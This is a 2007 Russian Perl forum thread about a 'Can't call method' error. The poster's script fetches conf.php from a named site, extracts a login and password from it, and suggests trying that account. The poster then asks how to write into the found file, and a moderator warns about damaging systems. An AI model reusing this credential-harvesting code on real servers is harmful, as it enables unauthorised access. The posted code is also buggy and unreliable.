VPF::Can't call method - Форум программистов

OutlawZ

Дата 13.11.2007, 11:04 (ссылка)

(голосов:1)

Загрузка ...

Опытный

Профиль
Группа: Awaiting Authorisation
Сообщений: 269
Регистрация: 19.10.2007

Репутация: нет
Всего: нет

Привет народ! Вот такая вот проблема у меня возникла, пишу какой нить скрипт, проверяю работает! Через несколько часов запускаю опять этот же скрипт и вижу такое "Can't call method", можите подсказать это глюк? или что это из-за чего вообще все это? Зарание спасибо! smile

--------------------

arto

Дата 13.11.2007, 11:13 (ссылка)

(нет голосов)

Загрузка ...

Эксперт

Профиль
Группа: Завсегдатай
Сообщений: 1495
Регистрация: 31.10.2004

Репутация: 38
Всего: 40

вы не сразу освятили компьютер.
теперь надо провести обряд экзорцизма.

nitr

Дата 13.11.2007, 17:46 (ссылка)

(нет голосов)

Загрузка ...

Эксперт

Профиль
Группа: Участник Клуба
Сообщений: 2543
Регистрация: 10.2.2006
Где: Россия :)

Репутация: 37
Всего: 84

arto, жжёшь!

OutlawZ, покажите скрипт, хотя бы smile

. Укажите конфигурацию.
А так - arto прав ;)

P.S.: 2arto, был бы это форум "Юмор" дал бы + smile

Это сообщение отредактировал(а) nitr - 13.11.2007, 17:47

--------------------

I love ArchLinux

OutlawZ

Дата 14.11.2007, 03:35 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Awaiting Authorisation
Сообщений: 269
Регистрация: 19.10.2007

Репутация: нет
Всего: нет

Сорри забыл ) Вот он красавец!

Код


#!/usr/bin/perl
$|++;
use IO::Socket;
use Getopt::Std;
getopt("sp"); 
$port=80 || 80;
$server="www.decode.zs9.ru" || exit print "Usage $0 <-s server> [-p 80]\n"; 
$file="www.decode.zs9.ru/conf.php"; 
$sock=IO::Socket::INET->new($server:$port) || die "Cant create sock\n"; 
$sock->autoflush(1); 
print $sock "GET $file HTTP/1.0\nHost: $server\n\n"; 
$sock->recv($answer,1024); 
@answer=split("\n",$answer); 
$status=$answer[0]; 
$acct=$answer[scalar @answer-1]; 
if($status=~/200 OK/) { 
print "conf.php found!\n"; 
($user,$password)=split(";;",$acct);
print "Login is: $Login, Password is: $password.\n";
print "Try this account at $server/css.css\n";
} else {
print "conf.php NOT found!\n"; 
}
close($sock);

Это сообщение отредактировал(а) OutlawZ - 14.11.2007, 03:36

--------------------

OutlawZ

Дата 14.11.2007, 05:24 (ссылка)

(голосов:1)

Загрузка ...

Опытный

Профиль
Группа: Awaiting Authorisation
Сообщений: 269
Регистрация: 19.10.2007

Репутация: нет
Всего: нет

Нашел в чем проблема! У меня другой вопрос, как можно сделать так вот скрипт нашел файл и что бы тут же записал в файл скажем "Hello" ??

--------------------

korob2001

Дата 14.11.2007, 06:50 (ссылка)

(нет голосов)

Загрузка ...

Эксперт

Профиль
Группа: Комодератор
Сообщений: 2871
Регистрация: 29.12.2002

Репутация: 31
Всего: 61

1. Если нашёл решение первой проблемы, опиши его, да бы те кто споткнётся когда-нить через те же грабли, не задавали аналогичных вопросов.
2. В одной теме - один вопрос, да бы не вводить в заблуждение тех кто пользуется поиском.
3. По поводу последнего вопроса. Если скрипт будет писать в какой попало файл строку "Hello", думаю в скором времени придётся востанавливать систему, а так же данные будут повреждены, а их востановить куда сложнее, если нет резервной копии.

--------------------

"Время проходит", - привыкли говорить вы по неверному пониманию.
"Время стоит - проходите вы".

0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема \| Perl: Общие вопросы \| Следующая тема »